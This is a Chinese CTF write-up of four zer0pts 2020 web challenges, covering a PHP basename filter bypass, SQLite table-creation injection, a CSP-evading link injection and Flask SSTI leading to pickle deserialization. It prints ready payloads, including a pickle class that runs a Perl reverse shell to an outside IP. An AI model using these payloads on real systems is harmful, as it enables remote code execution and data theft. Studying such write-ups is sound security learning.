Zer0pts2020web复现

Can you guess it?

让我们猜什么东西,点击source可以得到源码

<?php
include 'config.php'; // FLAG is defined in config.php

if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
  exit("I don't know what you are thinking, but I won't let you read it :)");
}

if (isset($_GET['source'])) {
  highlight_file(basename($_SERVER['PHP_SELF']));
  exit();
}

$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {
  $guess = (string) $_POST['guess'];
  if (hash_equals($secret, $guess)) {
    $message = 'Congratulations! The flag is: ' . FLAG;
  } else {
    $message = 'Wrong.';
  }
}
?>
<!doctype html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <title>Can you guess it?</title>
  </head>
  <body>
    <h1>Can you guess it?</h1>
    <p>If your guess is correct, I'll give you the flag.</p>
    <p><a href="?source">Source</a></p>
    <hr>
<?php if (isset($message)) { ?>
    <p><?= $message ?></p>
<?php } ?>
    <form action="index.php" method="POST">
      <input type="text" name="guess">
      <input type="submit">
    </form>
  </body>
</html>

定义了一个$secret是随机的64位字符串的十六进制,如果我们post的$guess参数满足hash_equals($secret, $guess),则可以得到flag。

php5.6版本新增了一个函数hash_equals,可防止时序攻击的字符串比较。

在密码学中,时序攻击是一种侧信道攻击,攻击者试图通过分析加密算法的时间执行来推导出密码。每一个逻辑运算在计算机需要时间来执行,根据输入不同,精确测量执行时间,根据执行时间反推出密码。

如果是用普通的 == 来进行比较,那么两个字符串是从第一位开始逐一进行比较的,发现不同就立即返回 false,那么通过计算返回的速度就知道了大概是哪一位开始不同的,这样就实现了电影中经常出现的按位破解密码的场景。

回到题目,可以看到读取源码的地方使用了basename($_SERVER['PHP_SELF']),读取的是当前执行脚本的文件名,index.php?source读的是index.php,但把config.php加后面读的就是config.php

但这里加了过滤条件/config\.php\/*$/i不允许config.php后面加参数,这里涉及到了basename的一个问题,它会自动去掉文件名开头或者末尾的非ASCII值

那么请求index.php/config.php%ff?source即可

phpNantokaAdmin

首页是一个可以创建表的管理界面,创建表之后可以插入数据,也可以删除表

源码得知数据库是sqlite

sqlite数据库中,当列名用" ' []等字符隔开时,sqlite只会把这些字符包含的字符串当做列名,并且忽视后面的字符串

并且sqlite可以create table ... as select ...,把select的查询结果放到创建的表中

题目中sql语句大概是

CREATE TABLE $table_name (dummy1 TEXT, dummy2 TEXT, `$column` $type);

如果我们创建表时传入

table_name=[aaa] as select [sql][&columns[0][name]=]from sqlite_master;&columns[0][type]=2

就相当于

$sql = "CREATE TABLE [aaa] as select [sql][ (dummy1 TEXT, dummy2 TEXT, `]from sqlite_master;` 2);";

[sql]后面的[(dummy1 TEXT, dummy2 TEXT, `]被忽略,就相当于

create table [aaa] as select sql from sqlite_master

SQLite数据库中有一个内置表,名为SQLITE_MASTER,此表中存储着当前数据库中所有表的相关信息,比如表的名称、用于创建此表的sql语句、索引、索引所属的表、创建索引的sql语句等。

抓包修改post

得到了数据库和字段名

那么再接着读

table_name=[aaa] as select [flag_2a2d04c3][&columns[0][name]=]from flag_bf1811da;&columns[0][type]=2

就是

$sql = "CREATE TABLE [aaa] as select [flag_2a2d04c3][ (dummy1 TEXT, dummy2 TEXT, `]from flag_bf1811da;` 2);";

相当于

create table aaa as select flag_2a2d04c3 from flag_bf1811da

同样抓包修改

得到flag

musicblog

注册登录可以发post

看到这个管理员会检查post以为是xss但是尝试无果,抓包发现设置了CSP无法跨域请求

img

测试标签只允许audio其他一概过滤,但在audio里加上/后,发现/会被替换称空格,audio标签会被自动隔断从而/前面的内容在html内形成<a>标签

也就可以构造超链接,而超链接是不受CSP影响的,所以我们构造一个超链接让bot管理员点击,就达到了目的

构造

<a/udio id=like href=http://http.requestbin.buuoj.cn/1cap6um1>blacknight

post上去之后

<a udio id=like href=http://http.requestbin.buuoj.cn/1cap6um1>blacknight

得到flag

看别的师傅的wp应该是这里bot检查脚本用了strip_tags函数,存在漏洞

notepad

一个简化的文本编辑器

源码404页面的referer处存在模板注入

def page_not_found(error):
    """ Automatically go back when page is not found """
    referrer = flask.request.headers.get("Referer")

    if referrer is None: referrer = '/'
    if not valid_url(referrer): referrer = '/'

    html = '<html><head><meta http-equiv="Refresh" content="3;URL={}"><title>404 Not Found</title></head><body>Page not found. Redirecting...</body></html>'.format(referrer)

    return flask.render_template_string(html), 404

查看{{config}}得到secert_key

但由于源码处队url做了长度限制,不能更进一步利用

def valid_url(url):
    """ Check if given url is valid """
    host = flask.request.host_url

    if not url.startswith(host): return False  # Not from my server
    if len(url) - len(host) > 16: return False # Referer may be also 404

    return True

解密session有个savedata

源码查看savedata会被base64解码。然后反序列化

def load():
    """ Load saved notes """
    try:
        savedata = flask.session.get('savedata', None)
        data = pickle.loads(base64.b64decode(savedata))
    except:
        data = [{"date": now(), "text": "", "title": "*New Note*"}]

    return data

有了secert_key,可以伪造一个shell进去

import base64
import os
import pickle

class A(object):
    def __reduce__(self):
         return (os.system,("""perl -e 'use Socket;$i="174.2.214.12";$p=9999;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'""",))
a = A()
print(base64.b64encode(pickle.dumps(a)))

由于key包含不可见字符,先python用encodeBytes处理一下再伪造时base64解码

然后访问note/1触发

nc,perl都试了还是弹不到。。。结合其他师傅的wp搞了好久。。。今天心态有点爆炸,过几天来看看

发表评论